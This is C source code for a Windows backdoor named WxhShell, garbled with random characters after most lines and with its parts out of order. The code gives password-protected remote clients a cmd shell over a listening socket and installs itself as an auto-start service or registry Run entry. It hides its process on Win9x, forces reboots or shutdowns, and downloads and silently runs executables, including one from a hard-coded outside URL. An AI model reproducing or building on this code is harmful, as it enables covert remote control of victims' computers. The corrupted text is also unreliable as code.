    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )*c> |7G  
    else { :a:l j  
    closesocket(wsh); #Wu*3&a]yU  
    ExitThread(0); k<+0o))  
    } S.!UPkWH  
    break; :$+-3_oLMQ  
    } @ |'5 n  
  // 获取shell wW>)(&!F  
  case 's': { t20PP4FWM  
    CmdShell(wsh); ^*\XgX  
    closesocket(wsh); a6kV!,.U  
    ExitThread(0); <'G~8tA%v  
    break; Xv@SxS-5l  
  } TY(bPq  
  // 退出 r]ShZBAbYp  
  case 'x': { U.{l;EL:T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6ksAc%|5  
    CloseIt(wsh); R>`}e+-D  
    break; 4`Ic&c/  
    } =vT<EW}[  
  // 离开 ;E ec5w1  
  case 'q': { @* il3h,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^}f -!nf[  
    closesocket(wsh); fh^lO ^  
    WSACleanup(); @xc',I  
    exit(1); -7!&@wuQ  
    break; #Km:}=  
        } {647|j;e  
  } &F}"Z(B<wK  
  } ^uJU}v:  
k=GG>]<i  
  // 提示信息 N N|u_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yPw'] "  
} KsrjdJx, '  
  } ^*~;k|;&  
n4lutnF  
  return; |j3'eW&=  
} 0j(M* sl  
<5=JE*s$NS  
// shell模块句柄 ,7XtH>2s  
int CmdShell(SOCKET sock) SR*wvQnOx  
{ ?|e'Gbb_  
STARTUPINFO si; (Z5##dS3  
ZeroMemory(&si,sizeof(si)); m0{!hF[^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ) _ I,KEe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #.[AK_S5&  
PROCESS_INFORMATION ProcessInfo; h d~$WV0#  
char cmdline[]="cmd"; tRpEF2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $BmmNn#  
  return 0; -*2Mf Mh  
} &_5tqh  
c#N<"cy>  
// 自身启动模式 _lW+>xQ  
int StartFromService(void) !EQ@#qW/  
{ 3sCFHn#c  
typedef struct 4em;+ >D6  
{ r6'UUu  
  DWORD ExitStatus; S(aZ4{a@  
  DWORD PebBaseAddress; t:LcNlN|  
  DWORD AffinityMask; VOsqJJ3  
  DWORD BasePriority; p$7#}s  
  ULONG UniqueProcessId; 9z?oB&5  
  ULONG InheritedFromUniqueProcessId; q %A?V _  
}   PROCESS_BASIC_INFORMATION; )5fQ$<(Z  
\Ep0J $ #o  
PROCNTQSIP NtQueryInformationProcess; #}^-C&~  
6mH/ m&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4x%(9_8 {-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [#YE^[*qK  
H&b3{yOa  
  HANDLE             hProcess; kqG0%WtQ  
  PROCESS_BASIC_INFORMATION pbi; .yENM[-bQ  
G#Ou[*O'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #GaxZ  
  if(NULL == hInst ) return 0; LflFe@2  
<\zCpkZ'B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D}3XFuZs_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6a}"6d/sTL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); midsnG+jnf  
TO,rxf  
  if (!NtQueryInformationProcess) return 0; `IINq{Zk  
FI8Oz,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A$g+K,.l  
  if(!hProcess) return 0; G1 o70  
^7]"kg DA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fQ>4MKLw=d  
]aCk_*U  
  CloseHandle(hProcess); ~tB;@e  
.ut{,(5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j<%])  
if(hProcess==NULL) return 0; 2fIRlrA$  
(eCFWmO  
HMODULE hMod; HmK*bZ  
char procName[255]; %=j3jj[  
unsigned long cbNeeded; -VDo[Zy  
nxQ?bk}*d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vFrt|JC_{  
mYB`)M*Y  
  CloseHandle(hProcess); :"0J=>PH:  
b{DiM098  
if(strstr(procName,"services")) return 1; // 以服务启动 PC c|}*b  
=G~~?>=@2  
  return 0; // 注册表启动 !A8^Xmz"  
} (wRBd  
=\)IaZ  
// 主模块 /W#O +  
int StartWxhshell(LPSTR lpCmdLine) 3>z[PPw  
{ ;evCW$G=  
  SOCKET wsl; 0e["]Tlnm  
BOOL val=TRUE; l6[lJ0Y  
  int port=0; \F,DA"K_  
  struct sockaddr_in door; }W)=@t  
IGX:H)&*  
  if(wscfg.ws_autoins) Install(); ,(G%e  
f]~c)P Cs  
port=atoi(lpCmdLine); NkxCs  
tNs~M4TVVH  
if(port<=0) port=wscfg.ws_port;  &K^MN d  
`P+(&taT  
  WSADATA data; R4%P:qM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9+YD!y  
5H,G-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M ixwK,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >zY \Llv  
  door.sin_family = AF_INET; dEM ?~?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o?Sla_D   
  door.sin_port = htons(port); ;@ WV-bLe  
WKA'=,`v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  H'RL62!  
closesocket(wsl); 6*GjP ;S =  
return 1; Mu_i$j$vvP  
} t qOi x/  
Ccfwax+  
  if(listen(wsl,2) == INVALID_SOCKET) { ~!%0Z9>ap  
closesocket(wsl); iZ[tHw||  
return 1; Q"a2.9Eo  
} 9Z\z96O-  
  Wxhshell(wsl); V'Y{v  
  WSACleanup(); xFp<7p L  
+-068k(  
return 0; ;~HNpu$  
1H:ea7YVU  
} oL/o*^  
(U.**9b;  
// 以NT服务方式启动 Tc ZnmN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w'Z!;4E0  
{ 7x.%hRk  
DWORD   status = 0; pt:;9hA  
  DWORD   specificError = 0xfffffff; v@ONo?)  
+I|8Q|^SD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eNySJf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &J"YsY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h\ ,5/ )Y  
  serviceStatus.dwWin32ExitCode     = 0; VlW9UF-W  
  serviceStatus.dwServiceSpecificExitCode = 0; 'zSgCgCHX8  
  serviceStatus.dwCheckPoint       = 0; Rag iV6c  
  serviceStatus.dwWaitHint       = 0; 2?i\@r@E|  
ZcPUtun  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m^!Sv?hV  
  if (hServiceStatusHandle==0) return; yYAnwf  
}$&WC:Lg  
status = GetLastError(); s*,cF6  
  if (status!=NO_ERROR) sz09+4h#  
{ bLG]Wa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Wb=Jj 9;  
    serviceStatus.dwCheckPoint       = 0; z<C[nR$N  
    serviceStatus.dwWaitHint       = 0; +h[e0J|v{  
    serviceStatus.dwWin32ExitCode     = status; p?rK`$U+J  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;?6>mh(`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H$!-f>Rxa  
    return; 'ND36jHcRD  
  } FuP}Kec  
m% bE-#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jOv"<  
  serviceStatus.dwCheckPoint       = 0; ;R1B9-,  
  serviceStatus.dwWaitHint       = 0; l[n@/%2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^JhFI*  
} e&J3N  
9$tl00  
// 处理NT服务事件,比如:启动、停止 N2~$r pU3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cIw eBDl  
{ ;bHfn-X  
switch(fdwControl) oXc/#{NC  
{ j8 H Oc(  
case SERVICE_CONTROL_STOP: [%.18FWI  
  serviceStatus.dwWin32ExitCode = 0; _%IqjJO{=r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rnvQ<671W  
  serviceStatus.dwCheckPoint   = 0; NXgRNca  
  serviceStatus.dwWaitHint     = 0; }z'DWp=uN  
  { Tx+ p8J|Yr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g5R,% 6  
  } #4y,a_)  
  return; A o3HX  
case SERVICE_CONTROL_PAUSE: i>Iee^_(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7Jx%JgF  
  break; )*[ ""&  
case SERVICE_CONTROL_CONTINUE: AUAI3K?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d7~j^v)=^  
  break; 9y+[o  
case SERVICE_CONTROL_INTERROGATE: NiTJ}1 l  
  break; qyv"Wb6+  
}; :GL7J6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %_tk7x  
} xURw,  
}'`xu9<  
// 标准应用程序主函数 :HZ;Po   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _'c+fG \  
{ %8Yyj{^!(  
_W9&J&l0so  
// 获取操作系统版本 rbh[j@s@  
OsIsNt=GetOsVer(); zUQe0Gc.b^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]C)|+`XE@  
t-lv|%+8  
  // 从命令行安装 :Y.e[@!1x  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~L){O*Z  
TSXTc'  
  // 下载执行文件 .}p|`3$P  
if(wscfg.ws_downexe) { G^KC&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @^wpAQfd4  
  WinExec(wscfg.ws_filenam,SW_HIDE); ('BLU.7IX  
} 6^ik|k|  
*aG"+c6|  
if(!OsIsNt) { l:z };  
// 如果时win9x,隐藏进程并且设置为注册表启动 6PJ'lA;*b  
HideProc(); hZ o5p&b  
StartWxhshell(lpCmdLine); I7bi@t  
} )d_U)b7i  
else #01/(:7  
  if(StartFromService()) #ko6L3Pi  
  // 以服务方式启动 WgZ@N  
  StartServiceCtrlDispatcher(DispatchTable); ".M:`BoW4  
else 28+HKbgK  
  // 普通方式启动 @H4wHlb  
  StartWxhshell(lpCmdLine); z `@z  
82 .HH5Z{  
return 0; gUb "3g0  
} C M^r|4 K  
#W^_]Q=5R'  
\d5}5J]a&n  
Fva]*5  
=========================================== &[)D]UL  
9F)W19i.  
h/9Sg*k  
XC}1_VWs  
:3gFHBFDj  
w< mqe0  
" VwC4QK,d;  
fr]Hc+7  
#include <stdio.h> /'"R Mq  
#include <string.h> n531rkK-   
#include <windows.h> qu!<lW~c  
#include <winsock2.h> *cQz[S@F  
#include <winsvc.h> 7H?! RYrx  
#include <urlmon.h> ]wR6bEm7  
'y eh7oR  
#pragma comment (lib, "Ws2_32.lib") aLHrl6"  
#pragma comment (lib, "urlmon.lib") }M="oN~w  
YZ{;%&rB  
#define MAX_USER   100 // 最大客户端连接数 d>~`j8,B  
#define BUF_SOCK   200 // sock buffer )Kr(Y.w  
#define KEY_BUFF   255 // 输入 buffer $WJy?_c  
iI}nW  
#define REBOOT     0   // 重启 @M9_j{A  
#define SHUTDOWN   1   // 关机 xT/9kM&}L  
0*{@E%9  
#define DEF_PORT   5000 // 监听端口 .:SfM r;G  
@@; 1%z  
#define REG_LEN     16   // 注册表键长度 S~} +ypV  
#define SVC_LEN     80   // NT服务名长度 xNx`J@xt$  
^[*AK_o_DQ  
// 从dll定义API W -3w7^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o=@ UXi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Hj1k-Bs&'w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W >Kp\tD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !Am =v=>  
nT)~w s  
// wxhshell配置信息 BHIM'24bp  
struct WSCFG { 8@Q"YA 3d+  
  int ws_port;         // 监听端口 vevx|<9,  
  char ws_passstr[REG_LEN]; // 口令 ?SB5b,  
  int ws_autoins;       // 安装标记, 1=yes 0=no np= J:v4  
  char ws_regname[REG_LEN]; // 注册表键名 %"{?[!C ?  
  char ws_svcname[REG_LEN]; // 服务名 VJGwd`qo*A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4bWfx _0W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }el,^~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &4[<F"W>47  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `c>A >c|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Aw5K3@Ltz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^=3 ^HQ'Zm  
hg!x_Eq|  
}; 2Sv>C `FMU  
miWw6!()  
// default Wxhshell configuration p+!f(H  
struct WSCFG wscfg={DEF_PORT, ^1()W,B~w  
    "xuhuanlingzhe", @i\7k(9:A  
    1, P%ye$SASd  
    "Wxhshell", *pY/5? g  
    "Wxhshell", La@\q[U{@  
            "WxhShell Service", eO~eu]r  
    "Wrsky Windows CmdShell Service", D_zcOq9  
    "Please Input Your Password: ", \gjl^# ;  
  1, Y{`3`Pg&N  
  "http://www.wrsky.com/wxhshell.exe", qNhH%tYQ  
  "Wxhshell.exe" P: jDB{  
    }; &qG? [R{  
5X#i65_-  
// 消息定义模块 1mAUEQ!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Al)lWD}j2g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; elNB7%Y/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oM-b96  
char *msg_ws_ext="\n\rExit."; <d3PDO@w/  
char *msg_ws_end="\n\rQuit."; }3LBbG0Bw  
char *msg_ws_boot="\n\rReboot..."; wA{*W>i  
char *msg_ws_poff="\n\rShutdown..."; LNWqgIq  
char *msg_ws_down="\n\rSave to "; {H/8#y4qp&  
V}j %gy`  
char *msg_ws_err="\n\rErr!"; "tEj`eR  
char *msg_ws_ok="\n\rOK!"; \z&03@Sw  
J{a Q1)  
char ExeFile[MAX_PATH]; ': 5Trx  
int nUser = 0; xn0s`I[  
HANDLE handles[MAX_USER]; 't||F1X~J  
int OsIsNt; >|y>e{P  
,ZsYXW  
SERVICE_STATUS       serviceStatus; 7g {g}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Cij$GYkv  
MHC.k=  
// 函数声明 |k/`WC6As.  
int Install(void); }x{rTEq  
int Uninstall(void); GG@iKL V  
int DownloadFile(char *sURL, SOCKET wsh); sDW"j\  
int Boot(int flag); {Q}!NkF 1  
void HideProc(void); "FD<^  
int GetOsVer(void); yd\5Z[iEp  
int Wxhshell(SOCKET wsl); Krt$=:m|1  
void TalkWithClient(void *cs); f>.` xC{  
int CmdShell(SOCKET sock); v)wY  
int StartFromService(void); FF5tPHB  
int StartWxhshell(LPSTR lpCmdLine); 6:e}v'q{  
z_5rAlnwT.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kxt\{iy4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]Om'naD  
ahK?]:&QO  
// 数据结构和表定义 ,+swH;=7#r  
SERVICE_TABLE_ENTRY DispatchTable[] = -6.i\ B  
{ {o Q(<&Aw  
{wscfg.ws_svcname, NTServiceMain}, Yg\{S<wr  
{NULL, NULL} 5 ]A$P\7~1  
}; fU\k?'x_  
fzq'S]+  
// 自我安装 ;$E~ZT4p  
int Install(void) \ SoYx5lf  
{ * ePDc'   
  char svExeFile[MAX_PATH]; \<0G kp  
  HKEY key; FN{H\W1cf  
  strcpy(svExeFile,ExeFile); xkk@ {}J\  
cKvAR5|  
// 如果是win9x系统,修改注册表设为自启动 iX0]g45o  
if(!OsIsNt) { }z9I`6[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a>;3 j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +xoyKP!  
  RegCloseKey(key); A52LH,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c+)36/; X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kMfc"JXF  
  RegCloseKey(key); dXf]G6  
  return 0; AQJ|^'%  
    } )3D+gu  
  } &etL&s v  
} 0xvMR&.H  
else { Cy`<^_i  
F)[XIY&2/  
// 如果是NT以上系统,安装为系统服务 s0X/1Cq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %8rr*l5  
if (schSCManager!=0) -52 @%uB  
{ TsFV ;Sl3  
  SC_HANDLE schService = CreateService kx;xO>dC  
  ( L@d]RMNv  
  schSCManager,  :V5!C$QV  
  wscfg.ws_svcname, wI1M0@}PV  
  wscfg.ws_svcdisp, &sr:\Qn X/  
  SERVICE_ALL_ACCESS, iMOPD}`IX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b n<I#ZH2  
  SERVICE_AUTO_START, xr7-[)3Q$  
  SERVICE_ERROR_NORMAL, 8M".o n  
  svExeFile, i"2J5LLv  
  NULL, @M1yBN  
  NULL, &CxyP_  
  NULL, 2Q`PUXj  
  NULL, 14@q$}sf  
  NULL DRKc&F6Qy  
  ); =Ov;'MC  
  if (schService!=0) /Gh x2B  
  { l\A}lC0?J  
  CloseServiceHandle(schService); ".*a)  
  CloseServiceHandle(schSCManager); ;Wfv+]n9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l"~h1xk~  
  strcat(svExeFile,wscfg.ws_svcname); kp#c:ym  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N>F2 c)rm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oJ4mxi@|#  
  RegCloseKey(key); }R(0[0NQe-  
  return 0; ~]6Oz;~<3  
    } 0IT20.~  
  } fmZzBZ_  
  CloseServiceHandle(schSCManager); |2+F I<v4  
} {=pP`HD0  
} z</XnN  
N~Sue  
return 1; V;[ __w  
} mTb2d?NS  
w'5dk3$"  
// 自我卸载 Zo}\gg3  
int Uninstall(void) .LGkr@P  
{ fd,}YAiX  
  HKEY key; 6f5sIg  
=5s~$C  
if(!OsIsNt) { D/!eov4"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Js^r]=\F'  
  RegDeleteValue(key,wscfg.ws_regname); @Z=y'yc'y.  
  RegCloseKey(key); -6 7f33  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {_k!!p6  
  RegDeleteValue(key,wscfg.ws_regname); 1VPN#Q!  
  RegCloseKey(key); Tg{dIh.Q~O  
  return 0; n )wpxR  
  } #IL~0t  
} kHo;9j-U  
} o}AqNw60v  
else { ~; O= 7  
]>S$R&a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _+ R_ms  
if (schSCManager!=0) ek0;8Ds9  
{ 644hQW&W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AIRVvW~($  
  if (schService!=0) zvQ^f@lq2  
  { +2k|g2  
  if(DeleteService(schService)!=0) { D.oS8'   
  CloseServiceHandle(schService); ?XTg%U  
  CloseServiceHandle(schSCManager); |]2eGrGj4  
  return 0; 3Oig/KZ  
  } 2}xFv2X  
  CloseServiceHandle(schService); |Z^c #R  
  } )lngef /D_  
  CloseServiceHandle(schSCManager); 1+PNy d  
} gp|7{}Q{  
} 'k(~XA}X:  
Q+%m+ /Zq  
return 1; aBA#\eV  
} GO:1 Z?^  
J?,!1V=  
// 从指定url下载文件 ,[K)E  
int DownloadFile(char *sURL, SOCKET wsh) n9-q5X^e>  
{ 2YP"nj#  
  HRESULT hr; o"+ &^  
char seps[]= "/"; WY. \<$7  
char *token; l.NkS   
char *file; |2t7mat  
char myURL[MAX_PATH]; qeO6}A"^|  
char myFILE[MAX_PATH]; $0`$)(Y  
k~s>8N:&G  
strcpy(myURL,sURL); <K.C?M(9  
  token=strtok(myURL,seps); ZZ.0'   
  while(token!=NULL) JXR/K=<^  
  { L!}j3(I  
    file=token; ?\p%Mx?   
  token=strtok(NULL,seps); /o06hy  
  } !A^w6Q;`V  
2O)Kn q  
GetCurrentDirectory(MAX_PATH,myFILE); wGQhr="  
strcat(myFILE, "\\"); %H 6ZfEO  
strcat(myFILE, file); !+26a*P  
  send(wsh,myFILE,strlen(myFILE),0); hK9oe%kU~  
send(wsh,"...",3,0); >J75T1PH=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aBtfZDCfzp  
  if(hr==S_OK) [@l v]+@  
return 0; E,yzy[gl  
else O t4+VbB6  
return 1; R;-FZ@u/  
IM&7h! l"|  
} Go+,jT-  
$v}8lBCr3  
// 系统电源模块 ThqfZl=V  
int Boot(int flag) ^[?+=1 k  
{ D(ntVR  
  HANDLE hToken; Bw/H'Y  
  TOKEN_PRIVILEGES tkp; /dvnQW4}8  
e !x-:F#4j  
  if(OsIsNt) { 6_}){ZR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :>-sITeY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R O3e  
    tkp.PrivilegeCount = 1; . eag84_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,["|wqM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d~1"{WPSn  
if(flag==REBOOT) { 'N,NG$G2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6Oqnb+  
  return 0; {c EK z\RX  
} %m\G'hY2  
else { LVcy.kU@]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ppo$&W &z  
  return 0; r L|BkN  
} mt6uW+t/  
  } wTuRo J  
  else { bFdg '_  
if(flag==REBOOT) { d~bH!P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) snzH}$Ls  
  return 0; WMz|FFKVY  
} 1B]wSvP@  
else { d.(]V2X.J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IhKas4  
  return 0; +z?f,`.*  
} .$}zw|,q  
} 5}^08Xl  
L5|;VH  
return 1; SE-, 1p  
} Kz2^f@5=F  
cw-JGqLx  
// win9x进程隐藏模块 `0vy+T5  
void HideProc(void) K dQ|$t  
{ FbNQ  
6!PX! UkF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bIl0rx[`  
  if ( hKernel != NULL ) Gg,k  
  { T`0gtSS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {.8)gVBmA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -OGy-"  
    FreeLibrary(hKernel); WD`{kqc  
  } GM56xZ!2T  
~=gH7V  
return; szs3x-g  
} :qKY@-t7H  
00x^zu?N  
// 获取操作系统版本 &XTd[_VW!  
int GetOsVer(void) 8}b[Q/h!  
{ ~=]@], {  
  OSVERSIONINFO winfo; k  5kX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mztq7[&-  
  GetVersionEx(&winfo); 3\~fe/z'I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3T^dgWXEG  
  return 1; >N"PLSY1  
  else QF6JZQh<  
  return 0; F&j|Y>m  
} p" W0$t.  
^7<mlr  
// 客户端句柄模块 &y wY?ox  
int Wxhshell(SOCKET wsl) e~[z]GLO%  
{ d33Nx)No  
  SOCKET wsh; (w  
  struct sockaddr_in client; ,colGth 54  
  DWORD myID; dllf~:b  
fszeJS}Dw  
  while(nUser<MAX_USER) H LGy"P  
{ P[K T  
  int nSize=sizeof(client); tce8*:rNH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "r3s'\  
  if(wsh==INVALID_SOCKET) return 1; 7n]%`Yb  
nM}`H'0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;AA7wK 4  
if(handles[nUser]==0) #mxfU>vQ:  
  closesocket(wsh); ^moIMFl  
else Gl:T  
  nUser++; _jKVA6_E  
  } eTHh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6u3(G j@  
>x0lSL0y  
  return 0; 7}85o J  
} m)w- mc  
-\v8i.w0  
// 关闭 socket 3`8xh 9O  
void CloseIt(SOCKET wsh) L 'Rapu  
{ 1caod0gor  
closesocket(wsh); [m&ZAq  
nUser--; ]a~LA7VHO  
ExitThread(0); LZ dNG\-  
} r}Av"  
_ 9]3S>Rn  
// 客户端请求句柄 l~c> jm8.  
void TalkWithClient(void *cs) e!'u{>u  
{ (19<8a9G  
J, >PLQAa  
  SOCKET wsh=(SOCKET)cs; rmJ847%y`  
  char pwd[SVC_LEN]; <Wq{ V;$  
  char cmd[KEY_BUFF]; Ka2tr]+s  
char chr[1]; aBLb i  
int i,j; L#b Q`t  
JPKZU<:+V  
  while (nUser < MAX_USER) { M&-/ &>n!  
"A3xX&9-q  
if(wscfg.ws_passstr) { l_EI7mJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A2S9h,t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =_3qUcOP  
  //ZeroMemory(pwd,KEY_BUFF); vH8%a8V  
      i=0; ]iX$p~riH  
  while(i<SVC_LEN) { Rj= Om  
_ @76eZd  
  // 设置超时 j)*nE./3  
  fd_set FdRead; 5nb6k,+E  
  struct timeval TimeOut; f/m6q8!L{  
  FD_ZERO(&FdRead); 6GvnyJ{[  
  FD_SET(wsh,&FdRead); o)WSMV(&f  
  TimeOut.tv_sec=8; ,Yz+?SmSZ&  
  TimeOut.tv_usec=0; ;Nij*-U4~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I/|n ma/ $  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "V2$g  
C>ZeG Vq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L<`g}iw  
  pwd=chr[0]; 9x,+G['Zt  
  if(chr[0]==0xd || chr[0]==0xa) { )5x?Qn(B  
  pwd=0; Fowh3go  
  break; OO>2oH  
  } pBLO  
  i++; ??Ac=K\  
    } 7^5BnF@  
;O>fy :$'  
  // 如果是非法用户,关闭 socket 5,Zn$zosJC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X:/t>0e  
} i(rY'o2 BN  
net9K X4\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %Ski5q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i*j+<R@  
`h6W@ROb  
while(1) { INpub 5  
" z{w^k  
  ZeroMemory(cmd,KEY_BUFF); _r'M^=yx[  
3J<,2  
      // 自动支持客户端 telnet标准   {Wo7=aR  
  j=0; 4pv :u:Z  
  while(j<KEY_BUFF) { &.B6P|N'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IrC=9%pd$R  
  cmd[j]=chr[0]; 3}Qh`+Yj]  
  if(chr[0]==0xa || chr[0]==0xd) { K4~O x  
  cmd[j]=0; 5Bo)j_Qo  
  break; Fwqf4&/  
  } 9f`Pi:*+/  
  j++; q#Vf2U55m  
    } O!tD1^O!1}  
2O/_hv.  
  // 下载文件 3s2M$3r)6  
  if(strstr(cmd,"http://")) { ,pz CJ@5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C"<@EMU9  
  if(DownloadFile(cmd,wsh)) t`B']Ac;T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4uA^/]ygo  
  else :~Y$\Ww(~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R3A^VE;qP  
  } >Z% `&D~u  
  else { :_*Q IyW  
4fswx@l  
